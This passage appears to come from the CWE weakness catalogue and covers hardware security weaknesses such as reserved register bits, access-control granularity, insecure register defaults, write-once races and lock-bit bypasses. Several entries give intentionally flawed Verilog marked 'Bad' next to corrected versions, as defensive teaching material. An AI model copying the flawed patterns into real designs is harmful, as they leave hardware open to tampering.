The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1444

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : System on Chip (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Varies by Context	
Integrity	<i>This type of weakness all depends on the capabilities of the logic being controlled or configured by the reserved bits</i>	
Availability		
Access Control		
Accountability		
Authentication		
Authorization		
Non-Repudiation		

## Potential Mitigations

### Phase: Architecture and Design

### Phase: Implementation

Include a feature to disable reserved bits.

### Phase: Integration

Any writes to these reserve bits are blocked (e.g., ignored, access-protected, etc.), or an exception can be asserted.

## Demonstrative Examples

### Example 1:

Assume a hardware Intellectual Property (IP) has address space 0x0-0x0F for its configuration registers, with the last one labeled reserved (i.e. 0x0F). Therefore inside the Finite State Machine (FSM), the code is as follows:

*Example Language: Verilog*

*(Bad)*

```
reg gpio_out = 0; //gpio should remain low for normal operation
case (register_address)
  4'b1111 : //0x0F
    begin
      gpio_out = 1;
    end
```

An adversary may perform writes to reserved address space in hopes of changing the behavior of the hardware. In the code above, the GPIO pin should remain low for normal operation. However, it can be asserted by accessing the reserved address space (0x0F). This may be a concern if the GPIO state is being used as an indicator of health (e.g. if asserted the hardware may respond by shutting down or resetting the system, which may not be the correct action the system should perform).

In the code below, the condition "register\_address = 0X0F" is commented out, and a default is provided that will catch any values of register\_address not explicitly accounted for and take no action with regards to gpio\_out. This means that an attacker who is able to write 0X0F to register\_address will not enable any undocumented "features" in the process.

*Example Language: Verilog*

*(Good)*

```
reg gpio_out = 0; //gpio should remain low for normal operation
case (register_address)
  //4'b1111 : //0x0F
  default: gpio_out = gpio_out;
```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1199	General Circuit and Logic Design Concerns	1194	2264

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
121	Exploit Non-Production Interfaces

## CWE-1220: Insufficient Granularity of Access Control

**Weakness ID :** 1220

**Structure :** Simple

**Abstraction :** Base

### Description

The product implements access controls via a policy or other feature with the intention to disable or restrict accesses (reads and/or writes) to assets in a system from untrusted agents. However, implemented access controls lack required granularity, which renders the control policy too broad because it allows accesses from unauthorized agents to the security-sensitive assets.

### Extended Description

Integrated circuits and hardware engines can expose accesses to assets (device configuration, keys, etc.) to trusted firmware or a software module (commonly set by BIOS/bootloader). This access is typically access-controlled. Upon a power reset, the hardware or system usually starts with default values in registers, and the trusted firmware (Boot firmware) configures the necessary access-control protection.

A common weakness that can exist in such protection schemes is that access controls or policies are not granular enough. This condition allows agents beyond trusted agents to access assets and could lead to a loss of functionality or the ability to set up the device securely. This further results in security risks from leaked, sensitive, key material to modification of device configuration.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644
ParentOf	V	1222	Insufficient Granularity of Address Regions Protected by Register Locks	1848

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1212	Authorization Errors	2269

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System :** Not OS-Specific (*Prevalence = Undetermined*)

**Architecture :** Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology :** Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Modify Memory	High
Integrity	Read Memory	
Availability	Execute Unauthorized Code or Commands	
Access Control	Gain Privileges or Assume Identity	
	Bypass Protection Mechanism	
	Other	

## Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**

**Phase: Testing**

Access-control-policy protections must be reviewed for design inconsistency and common weaknesses. Access-control-policy definition and programming flow must be tested in pre-silicon, post-silicon testing.

*Effectiveness = High*

## Demonstrative Examples

### Example 1:

Consider a system with a register for storing AES key for encryption or decryption. The key is 128 bits, implemented as a set of four 32-bit registers. The key registers are assets and registers, AES\_KEY\_READ\_POLICY and AES\_KEY\_WRITE\_POLICY, and are defined to provide necessary access controls.

The read-policy register defines which agents can read the AES-key registers, and write-policy register defines which agents can program or write to those registers. Each register is a 32-bit register, and it can support access control for a maximum of 32 agents. The number of the bit when set (i.e., "1") allows respective action from an agent whose identity matches the number of the bit and, if "0" (i.e., Clear), disallows the respective action to that corresponding agent.

*Example Language: Other*

*(Bad)*

In the above example, there is only one policy register that controls access to both read and write accesses to the AES-key registers, and thus the design is not granular enough to separate read and writes access for different agents. Here, agent with identities "1" and "2" can both read and write.

A good design should be granular enough to provide separate access controls to separate actions. Access control for reads should be separate from writes. Below is an example of such implementation where two policy registers are defined for each of these actions. The policy is defined such that: the AES-key registers can only be read or used by a crypto agent with identity "1" when bit #1 is set. The AES-key registers can only be programmed by a trusted firmware with identity "2" when bit #2 is set.

*Example Language:*

*(Mitigation)*

### Example 2:

Consider the following SoC design. The sram in HRoT has an address range that is readable and writable by unprivileged software and it has an area that is only readable by unprivileged software. The tbus interconnect enforces access control for slaves on the bus but uses only one bit to control

both read and write access. Address 0xA0000000 - 0xA000FFFF is readable and writable by the untrusted cores core{0-N} and address 0xA0010000 - 0xA001FFFF is only readable by the untrusted cores core{0-N}.

The security policy access control is not granular enough, as it uses one bit to enable both read and write access. This gives write access to an area that should only be readable by unprivileged agents.

Access control logic should differentiate between read and write access and to have sufficient address granularity.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	<b>C</b>	1198	Privilege Separation and Access Control Issues	1194	2263

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
1	Accessing Functionality Not Properly Constrained by ACLs
180	Exploiting Incorrectly Configured Access Control Security Levels

## CWE-1221: Incorrect Register Defaults or Module Parameters

**Weakness ID :** 1221

**Structure :** Simple

**Abstraction :** Base

### Description

Hardware description language code incorrectly defines register defaults or hardware IP parameters to insecure values.

### Extended Description

Integrated circuits and hardware IP software programmable controls and settings are commonly stored in register circuits. These register contents have to be initialized at hardware reset to defined default values that are hard coded in the hardware description language (HDL) code of the hardware unit. Hardware descriptive languages also support definition of parameter variables, which can be defined in code during instantiation of the hardware IP module. Such parameters are generally used to configure a specific instance of a hardware IP in the design.

The system security settings of a hardware design can be affected by incorrectly defined default values or IP parameters. The hardware IP would be in an insecure state at power reset, and this can be exposed or exploited by untrusted software running on the system. Both register defaults and parameters are hardcoded values, which cannot be changed using software or firmware patches but must be changed in hardware silicon. Thus, such security issues are considerably more difficult to address later in the lifecycle. Hardware designs can have a large number of such parameters and register defaults settings, and it is important to have design tool support to check these settings in an automated way and be able to identify which settings are security sensitive.

### Relationships



The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		665	Improper Initialization	1368

### Applicable Platforms

**Language** : Verilog (*Prevalence = Undetermined*)

**Language** : VHDL (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Varies by Context  <i>Degradation of system functionality, or loss of access control enforcement can occur.</i>	
Integrity		
Availability		
Access Control		

### Potential Mitigations

#### Phase: Architecture and Design

During hardware design, all the system parameters and register defaults must be reviewed to identify security sensitive settings.

#### Phase: Implementation

The default values of these security sensitive settings need to be defined as part of the design review phase.

#### Phase: Testing

Testing phase should use automated tools to test that values are configured per design specifications.

### Demonstrative Examples

#### Example 1:

Consider example design module system verilog code shown below. register\_example module is an example parameterized module that defines two parameters, REGISTER\_WIDTH and REGISTER\_DEFAULT. Register\_example module defines a Secure\_mode setting, which when set makes the register content read-only and not modifiable by software writes. register\_top module instantiates two registers, Insecure\_Device\_ID\_1 and Insecure\_Device\_ID\_2. Generally, registers containing device identifier values are required to be read only to prevent any possibility of software modifying these values.

*Example Language: Verilog*

*(Bad)*

```
// Parameterized Register module example
// Secure_mode : REGISTER_DEFAULT[0] : When set to 1 register is read only and not writable//
module register_example
#(
parameter REGISTER_WIDTH = 8, // Parameter defines width of register, default 8 bits
parameter [REGISTER_WIDTH-1:0] REGISTER_DEFAULT = 2**REGISTER_WIDTH -2 // Default value of register
computed from Width. Sets all bits to 1s except bit 0 (Secure _mode)
)
(
input [REGISTER_WIDTH-1:0] Data_in,
input Clk,
```

```

input resetn,
input write,
output reg [REGISTER_WIDTH-1:0] Data_out
);
reg Secure_mode;
always @(posedge Clk or negedge resetn)
  if (~resetn)
    begin
      Data_out <= REGISTER_DEFAULT; // Register content set to Default at reset
      Secure_mode <= REGISTER_DEFAULT[0]; // Register Secure_mode set at reset
    end
  else if (write & ~Secure_mode)
    begin
      Data_out <= Data_in;
    end
endmodule
module register_top
(
input Clk,
input resetn,
input write,
input [31:0] Data_in,
output reg [31:0] Secure_reg,
output reg [31:0] Insecure_reg
);
register_example #(
  .REGISTER_WIDTH (32),
  .REGISTER_DEFAULT (1224) // Incorrect Default value used bit 0 is 0.
) Insecure_Device_ID_1 (
  .Data_in (Data_in),
  .Data_out (Secure_reg),
  .Clk (Clk),
  .resetn (resetn),
  .write (write)
);
register_example #(
  .REGISTER_WIDTH (32) // Default not defined 2^32-2 value will be used as default.
) Insecure_Device_ID_2 (
  .Data_in (Data_in),
  .Data_out (Insecure_reg),
  .Clk (Clk),
  .resetn (resetn),
  .write (write)
);
endmodule

```

These example instantiations show how, in a hardware design, it would be possible to instantiate the register module with insecure defaults and parameters.

In the example design, both registers will be software writable since `Secure_mode` is defined as zero.

*Example Language: Verilog*

*(Good)*

```

register_example #(
  .REGISTER_WIDTH (32),
  .REGISTER_DEFAULT (1225) // Correct default value set, to enable Secure_mode
) Secure_Device_ID_example (
  .Data_in (Data_in),
  .Data_out (Secure_reg),
  .Clk (Clk),
  .resetn (resetn),
  .write (write)
);

```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	C	1199	General Circuit and Logic Design Concerns	1194	2264

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
166	Force the System to Reset Values

## CWE-1222: Insufficient Granularity of Address Regions Protected by Register Locks

**Weakness ID :** 1222

**Structure :** Simple

**Abstraction :** Variant

### Description

The product defines a large address region protected from modification by the same register lock control bit. This results in a conflict between the functional requirement that some addresses need to be writable by software during operation and the security requirement that the system configuration lock bit must be set during the boot process.

### Extended Description

Integrated circuits and hardware IPs can expose the device configuration controls that need to be programmed after device power reset by a trusted firmware or software module (commonly set by BIOS/bootloader) and then locked from any further modification. In hardware design, this is commonly implemented using a programmable lock bit which enables/disables writing to a protected set of registers or address regions. When the programmable lock bit is set, the relevant address region can be implemented as a hardcoded value in hardware logic that cannot be changed later.

A problem can arise wherein the protected region definition is not granular enough. After the programmable lock bit has been set, then this new functionality cannot be implemented without change to the hardware design.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	E	1220	Insufficient Granularity of Access Control	1843

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System :** Not OS-Specific (*Prevalence = Undetermined*)

**Architecture :** Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology :** System on Chip (*Prevalence = Undetermined*)

### Common Consequences

1848

Scope	Impact	Likelihood
Access Control	Other	
	<i>System security configuration cannot be defined in a way that does not conflict with functional requirements of device.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

The defining of protected locked registers should be reviewed or tested early in the design phase with software teams to ensure software flows are not blocked by the security locks. As an alternative to using register lock control bits and fixed access control regions, the hardware design could use programmable security access control configuration so that device trusted firmware can configure and change the protected regions based on software usage and security models.

### Demonstrative Examples

#### Example 1:

For example, consider a hardware unit with a 32 kilobyte configuration address space where the first 8 kilobyte address contains security sensitive controls that must only be writable by device bootloader. One way to protect the security configuration could be to define a 32 bit system configuration locking register (SYS\_LOCK) where each bit lock locks the corresponding 1 kilobyte region.


*Example Language: Other*

*(Bad)*

If a register exists within the first kilobyte address range (e.g. SW\_MODE, address 0x310) and needs to be software writable at runtime, then this register cannot be written in a securely configured system since SYS\_LOCK register lock bit 0 must be set to protect other security settings (e.g. SECURITY\_FEATURE\_ENABLE, address 0x0004). The only fix would be to change the hardware logic or not set the security lock bit.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1198	Privilege Separation and Access Control Issues	<input checked="" type="checkbox"/>	1194 2263

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
679	Exploitation of Improperly Configured or Implemented Memory Protections

## CWE-1223: Race Condition for Write-Once Attributes

**Weakness ID :** 1223

**Structure :** Simple

**Abstraction :** Base

### Description

A write-once register in hardware design is programmable by an untrusted software component earlier than the trusted software component, resulting in a race condition issue.

### Extended Description

Integrated circuits and hardware IP software programmable controls and settings are commonly stored in register circuits. These register contents have to be initialized at hardware reset to defined default values that are hard coded in the hardware description language (HDL) code of the hardware unit. A common security protection method used to protect register settings from modification by software is to make them write-once. This means the hardware implementation only allows writing to such registers once, and they become read-only after having been written once by software. This is useful to allow initial boot software to configure systems settings to secure values while blocking runtime software from modifying such hardware settings.

Implementation issues in hardware design of such controls can expose such registers to a race condition security flaw. For example, consider a hardware design that has two different software/firmware modules executing in parallel. One module is trusted (module A) and another is untrusted (module B). In this design it could be possible for Module B to send write cycles to the write-once register before Module A. Since the field is write-once the programmed value from Module A will be ignored and the pre-empted value programmed by Module B will be used by hardware.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	841

## Applicable Platforms

**Language** : Verilog (*Prevalence = Undetermined*)

**Language** : VHDL (*Prevalence = Undetermined*)

**Technology** : System on Chip (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism  <i>System configuration cannot be programmed in a secure way.</i>	

## Potential Mitigations

### Phase: Architecture and Design

During hardware design all register write-once or sticky fields must be evaluated for proper configuration.

### Phase: Testing

The testing phase should use automated tools to test that values are not reprogrammable and that write-once fields lock on writing zeros.

## Demonstrative Examples

### Example 1:

consider the example design module system verilog code shown below.

register\_write\_once\_example module is an example of register that has a write-once field defined. Bit 0 field captures the write\_once\_status value.

Example Language: Verilog

(Bad)

```

module register_write_once_example
(
  input [15:0] Data_in,
  input Clk,
  input ip_resetrn,
  input global_resetrn,
  input write,
  output reg [15:0] Data_out
);
reg Write_once_status;
always @(posedge Clk or negedge ip_resetrn)
if (~ip_resetrn)
  begin
    Data_out <= 16'h0000;
    Write_once_status <= 1'b0;
  end
else if (write & ~Write_once_status)
  begin
    Data_out <= Data_in & 16'hFFFE; // Input data written to register after masking bit 0
    Write_once_status <= 1'b1; // Write once status set after first write.
  end
else if (~write)
  begin
    Data_out[15:1] <= Data_out[15:1];
    Data_out[0] <= Write_once_status;
  end
endmodule

```

The first system component that sends a write cycle to this register can program the value. This could result in a race condition security issue in the SoC design, if an untrusted agent is running in the system in parallel with the trusted component that is expected to program the register.

Example Language:

(Good)

Trusted firmware or software trying to set the write-once field:

- Must confirm the Write\_once\_status (bit 0) value is zero, before programming register. If another agent has programmed the register before, then Write\_once\_status value will be one.
- After writing to the register, the trusted software can issue a read to confirm that the valid setting has been programmed.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1199	General Circuit and Logic Design Concerns	1194	2264

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
26	Leveraging Race Conditions

## CWE-1224: Improper Restriction of Write-Once Bit Fields

Weakness ID : 1224

Structure : Simple

Abstraction : Base

## Description

The hardware design control register "sticky bits" or write-once bit fields are improperly implemented, such that they can be reprogrammed by software.

## Extended Description

Integrated circuits and hardware IP software programmable controls and settings are commonly stored in register circuits. These register contents have to be initialized at hardware reset to define default values that are hard coded in the hardware description language (HDL) code of the hardware unit. A common security protection method used to protect register settings from modification by software is to make the settings write-once or "sticky." This allows writing to such registers only once, whereupon they become read-only. This is useful to allow initial boot software to configure systems settings to secure values while blocking runtime software from modifying such hardware settings.

Failure to implement write-once restrictions in hardware design can expose such registers to being re-programmed by software and written multiple times. For example, write-once fields could be implemented to only be write-protected if they have been set to value "1", wherein they would work as "write-1-once" and not "write-once".

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644

## Applicable Platforms

**Language** : Verilog (*Prevalence = Undetermined*)

**Language** : VHDL (*Prevalence = Undetermined*)

**Technology** : System on Chip (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Varies by Context  <i>System configuration cannot be programmed in a secure way.</i>	
Integrity		
Availability		
Access Control		

## Potential Mitigations

### Phase: Architecture and Design

During hardware design all register write-once or sticky fields must be evaluated for proper configuration.

### Phase: Testing

The testing phase should use automated tools to test that values are not reprogrammable and that write-once fields lock on writing zeros.

## Demonstrative Examples

### Example 1:



Consider the example design module system verilog code shown below. register\_write\_once\_example module is an example of register that has a write-once field defined. Bit 0 field captures the write\_once\_status value. This implementation can be for a register that is defined by specification to be a write-once register, since the write\_once\_status field gets written by input data bit 0 on first write.

*Example Language: Verilog*

*(Bad)*

```

module register_write_once_example
(
input [15:0] Data_in,
input Clk,
input ip_resetrn,
input global_resetrn,
input write,
output reg [15:0] Data_out
);
reg Write_once_status;
always @(posedge Clk or negedge ip_resetrn)
  if (~ip_resetrn)
    begin
      Data_out <= 16'h0000;
      Write_once_status <= 1'b0;
    end
  else if (write & ~Write_once_status)
    begin
      Data_out <= Data_in & 16'hFFFE;
      Write_once_status <= Data_in[0]; // Input bit 0 sets Write_once_status
    end
  else if (~write)
    begin
      Data_out[15:1] <= Data_out[15:1];
      Data_out[0] <= Write_once_status;
    end
endmodule

```

The above example only locks further writes if write\_once\_status bit is written to one. So it acts as write\_1-Once instead of the write-once attribute.

*Example Language: Verilog*

*(Good)*

```

module register_write_once_example
(
input [15:0] Data_in,
input Clk,
input ip_resetrn,
input global_resetrn,
input write,
output reg [15:0] Data_out
);
reg Write_once_status;
always @(posedge Clk or negedge ip_resetrn)
  if (~ip_resetrn)
    begin
      Data_out <= 16'h0000;
      Write_once_status <= 1'b0;
    end
  else if (write & ~Write_once_status)
    begin
      Data_out <= Data_in & 16'hFFFE;
      Write_once_status <= 1'b1; // Write once status set on first write, independent of input
    end
  else if (~write)
    begin
      Data_out[15:1] <= Data_out[15:1];
      Data_out[0] <= Write_once_status;
    end
end

```

endmodule

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1199	General Circuit and Logic Design Concerns	1194	2264

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
680	Exploitation of Improperly Controlled Registers

## CWE-1229: Creation of Emergent Resource

**Weakness ID :** 1229  
**Structure :** Simple  
**Abstraction :** Class

### Description

The product manages resources or behaves in a way that indirectly creates a new, distinct resource that can be used by attackers in violation of the intended policy.

### Extended Description

A product is only expected to behave in a way that was specifically intended by the developer. Resource allocation and management is expected to be performed explicitly by the associated code. However, in systems with complex behavior, the product might indirectly produce new kinds of resources that were never intended in the original design. For example, a covert channel is a resource that was never explicitly intended by the developer, but it is useful to attackers. "Parasitic computing," while not necessarily malicious in nature, effectively tricks a product into performing unintended computations on behalf of another party.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1367
ParentOf	C	514	Covert Channel	1151

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System :** Not OS-Specific (*Prevalence = Undetermined*)

**Architecture :** Not Architecture-Specific (*Prevalence = Undetermined*)

### References

[REF-1049]Wikipedia. "Parasitic computing". < [https://en.wikipedia.org/wiki/Parasitic\\_computing](https://en.wikipedia.org/wiki/Parasitic_computing) >.

## CWE-1230: Exposure of Sensitive Information Through Metadata

**Weakness ID** : 1230

**Structure** : Simple

**Abstraction** : Base

### Description

The product prevents direct access to a resource containing sensitive information, but it does not sufficiently limit access to metadata that is derived from the original, sensitive information.

### Extended Description

Developers might correctly prevent unauthorized access to a database or other resource containing sensitive information, but they might not consider that portions of the original information might also be recorded in metadata, search indices, statistical reports, or other resources. If these resources are not also restricted, then attackers might be able to extract some or all of the original information, or otherwise infer some details. For example, an attacker could specify search terms that are known to be unique to a particular person, or view metadata such as activity or creation dates in order to identify usage patterns.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		285	Improper Authorization	649
ParentOf		202	Exposure of Sensitive Information Through Data Queries	495
ParentOf		612	Improper Authorization of Index Containing Sensitive Information	1290

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		199	Information Management Errors	2104

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

## CWE-1231: Improper Prevention of Lock Bit Modification

**Weakness ID** : 1231

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses a trusted lock bit for restricting access to registers, address regions, or other resources, but the product does not prevent the value of the lock bit from being modified after it has been set.

### Extended Description

In integrated circuits and hardware intellectual property (IP) cores, device configuration controls are commonly programmed after a device power reset by a trusted firmware or software module (e.g., BIOS/bootloader) and then locked from any further modification.

This behavior is commonly implemented using a trusted lock bit. When set, the lock bit disables writes to a protected set of registers or address regions. Design or coding errors in the implementation of the lock bit protection feature may allow the lock bit to be modified or cleared by software after it has been set. Attackers might be able to unlock the system and features that the bit is intended to protect.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System :** Not OS-Specific (*Prevalence = Undetermined*)

**Architecture :** Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology :** Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Access Control	Modify Memory	High
	<i>Registers protected by lock bit can be modified even when lock is set.</i>	

## Detection Methods

### Manual Analysis

Set the lock bit. Power cycle the device. Attempt to clear the lock bit. If the information is changed, implement a design fix. Retest. Also, attempt to indirectly clear the lock bit or bypass it.

*Effectiveness = High*

## Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**

**Phase: Testing**

Security lock bit protections must be reviewed for design inconsistency and common weaknesses. Security lock programming flow and lock properties must be tested in pre-silicon and post-silicon testing.

*Effectiveness = High*

## Demonstrative Examples

**Example 1:**

Consider the example design below for a digital thermal sensor that detects overheating of the silicon and triggers system shutdown. The system critical temperature limit (CRITICAL\_TEMP\_LIMIT) and thermal sensor calibration (TEMP\_SENSOR\_CALIB) data have to be programmed by firmware, and then the register needs to be locked (TEMP\_SENSOR\_LOCK).

Example Language: Other

(Bad)

In this example, note that if the system heats to critical temperature, the response of the system is controlled by the TEMP\_HW\_SHUTDOWN bit [1], which is not lockable. Thus, the intended security property of the critical temperature sensor cannot be fully protected, since software can misconfigure the TEMP\_HW\_SHUTDOWN register even after the lock bit is set to disable the shutdown response.

Example Language:

(Good)

To fix this weakness, one could change the TEMP\_HW\_SHUTDOWN field to be locked by TEMP\_SENSOR\_LOCK.

### Observed Examples

Reference	Description
<b>CVE-2017-6283</b>	chip reset clears critical read/write lock permissions for RSA function <a href="https://www.cve.org/CVERecord?id=CVE-2017-6283">https://www.cve.org/CVERecord?id=CVE-2017-6283</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1199	General Circuit and Logic Design Concerns	1194	2264
MemberOf	V	1343	Weaknesses in the 2021 CWE Most Important Hardware Weaknesses List	1343	2352
MemberOf	C	1372	ICS Supply Chain: OT Counterfeit and Malicious Corruption	1358	2300

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
680	Exploitation of Improperly Controlled Registers

## CWE-1232: Improper Lock Behavior After Power State Transition

**Weakness ID** : 1232

**Structure** : Simple

**Abstraction** : Base

### Description

Register lock bit protection disables changes to system configuration once the bit is set. Some of the protected registers or lock bits become programmable after power state transitions (e.g., Entry and wake from low power sleep modes) causing the system configuration to be changeable.

### Extended Description

Devices may allow device configuration controls which need to be programmed after device power reset via a trusted firmware or software module (commonly set by BIOS/bootloader) and then


locked from any further modification. This action is commonly implemented using a programmable lock bit, which, when set, disables writes to a protected set of registers or address regions.

After a power state transition, the lock bit is set to unlocked. Some common weaknesses that can exist in such a protection scheme are that the lock gets cleared, the values of the protected registers get reset, or the lock become programmable.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		667	Improper Locking	1375

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Access Control	Modify Memory	High

## Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**

**Phase: Testing**

Security Lock bit protections should be reviewed for behavior across supported power state transitions. Security lock programming flow and lock properties should be tested in pre-silicon and post-silicon testing including testing across power transitions.

*Effectiveness = High*

## Demonstrative Examples

### Example 1:

Consider the memory configuration settings of a system that uses DDR3 DRAM memory. Protecting the DRAM memory configuration from modification by software is required to ensure that system memory access control protections cannot be bypassed. This can be done by using lock bit protection that locks all of the memory configuration registers. The memory configuration lock can be set by the BIOS during the boot process.

If such a system also supports a rapid power on mode like hibernate, the DRAM data must be saved to a disk before power is removed and restored back to the DRAM once the system powers back up and before the OS resumes operation after returning from hibernate.

To support the hibernate transition back to the operating state, the DRAM memory configuration must be reprogrammed even though it was locked previously. As the hibernate resume does a partial reboot, the memory configuration could be altered before the memory lock is set. Functionally the hibernate resume flow requires a bypass of the lock-based protection. The

memory configuration must be securely stored and restored by trusted system firmware. Lock settings and system configuration must be restored to the same state it was in before the device entered into the hibernate mode.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1199	General Circuit and Logic Design Concerns	1194	2264
